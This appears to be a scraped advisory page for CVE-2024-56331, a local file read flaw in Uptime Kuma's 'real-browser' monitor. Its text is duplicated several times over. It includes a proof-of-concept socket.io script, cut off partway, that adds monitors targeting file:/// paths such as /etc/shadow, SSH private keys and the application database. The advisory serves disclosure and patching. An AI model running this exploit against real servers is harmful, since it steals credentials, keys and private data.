CVE-2024-56331

Uptime Kuma is an open source, self-hosted monitoring tool. An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any authenticated user who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Uptime Kuma is an open source, self-hosted monitoring tool. An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any authenticated user who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server.

Details

The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:

1. The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation.

2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content.

const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();

const res = await page.goto(monitor.url, {
    waitUntil: "networkidle",
    timeout: monitor.interval * 1000 * 0.8,
});

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({
    path: path.join(Database.screenshotDir, filename),
});

await context.close();

Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.

PoC

1. Instructions:
   • Enter a local file path as the URL, such as: view-source:file:///etc/passwd.
   • The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content.

Example PoC:

1. Log in to the application with valid credentials:

const { io } = require("socket.io-client");

// Server configuration and credentials
const CONFIG = {
  serverUrl: "ws://localhost:3001",
  credentials: {
    username: "admin",
    password: "password1"
  },
  requestType: {
    REAL_BROWSER: "real-browser",
    HTTP: "http"
  },
  urlHeader: {
    VIEW_SOURCE: "view-source:file:///",
    FILE: "file:///"
  }
};

// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
  "/etc/passwd",
  "/etc/shadow",
  "/etc/hosts",
  "/etc/hostname",
  "/etc/network/interfaces", // May vary depending on the distribution
  "/etc/ssh/ssh_config",
  "/etc/ssh/sshd_config",
  "~/.ssh/authorized_keys",
  "~/.ssh/id_rsa",
  "/etc/ssl/private/*.key",
  "/etc/ssl/certs/*.crt",
  "/app/data/kuma.db", // Uptime Kuma database file
  "/app/data/config.json" // Uptime Kuma configuration file
];

// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
  return new Promise((resolve, reject) => {
    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
    if (type == CONFIG.requestType.HTTP) {
      fileUrl = CONFIG.urlHeader.FILE + filePath;
    }
    socket.emit("add", {
      type: type,
      name: type + " " + filePath,
      url: fileUrl,
      method: "GET",
      maxretries: 0,
      timeout: 500,
      notificationIDList: {},
      ignoreTls: true,
      upsideDown: false,
      accepted_statuscodes: ["200-299"]
    }, (res) => {
      console.log(`Response for file ${filePath}:`, res);
      resolve();
    });
  });
}

// Main function for connecting and sending the 'add' request
(async () => {
  const socket = io(CONFIG.serverUrl);

  // Handle connection errors
  socket.on("connect_error", (err) => {
    console.error("Connection failed:", err.message);
  });

  try {
    // Connecting with credentials
    await new Promise((resolve, reject) => {
      socket.emit("login", {
       …

Uptime Kuma is an open source, self-hosted monitoring tool. An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any authenticated user who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Uptime Kuma is an open source, self-hosted monitoring tool. An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any authenticated user who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server.

Details

The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:

1. The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation.

2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content.

const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();

const res = await page.goto(monitor.url, {
    waitUntil: "networkidle",
    timeout: monitor.interval * 1000 * 0.8,
});

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({
    path: path.join(Database.screenshotDir, filename),
});

await context.close();

Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.

PoC

1. Instructions:
   • Enter a local file path as the URL, such as: view-source:file:///etc/passwd.
   • The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content.

Example PoC:

1. Log in to the application with valid credentials:

const { io } = require("socket.io-client");

// Server configuration and credentials
const CONFIG = {
  serverUrl: "ws://localhost:3001",
  credentials: {
    username: "admin",
    password: "password1"
  },
  requestType: {
    REAL_BROWSER: "real-browser",
    HTTP: "http"
  },
  urlHeader: {
    VIEW_SOURCE: "view-source:file:///",
    FILE: "file:///"
  }
};

// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
  "/etc/passwd",
  "/etc/shadow",
  "/etc/hosts",
  "/etc/hostname",
  "/etc/network/interfaces", // May vary depending on the distribution
  "/etc/ssh/ssh_config",
  "/etc/ssh/sshd_config",
  "~/.ssh/authorized_keys",
  "~/.ssh/id_rsa",
  "/etc/ssl/private/*.key",
  "/etc/ssl/certs/*.crt",
  "/app/data/kuma.db", // Uptime Kuma database file
  "/app/data/config.json" // Uptime Kuma configuration file
];

// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
  return new Promise((resolve, reject) => {
    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
    if (type == CONFIG.requestType.HTTP) {
      fileUrl = CONFIG.urlHeader.FILE + filePath;
    }
    socket.emit("add", {
      type: type,
      name: type + " " + filePath,
      url: fileUrl,
      method: "GET",
      maxretries: 0,
      timeout: 500,
      notificationIDList: {},
      ignoreTls: true,
      upsideDown: false,
      accepted_statuscodes: ["200-299"]
    }, (res) => {
      console.log(`Response for file ${filePath}:`, res);
      resolve();
    });
  });
}

// Main function for connecting and sending the 'add' request
(async () => {
  const socket = io(CONFIG.serverUrl);

  // Handle connection errors
  socket.on("connect_error", (err) => {
    console.error("Connection failed:", err.message);
  });

  try {
    // Connecting with credentials
    await new Promise((resolve, reject) => {
      socket.emit("login", {
       …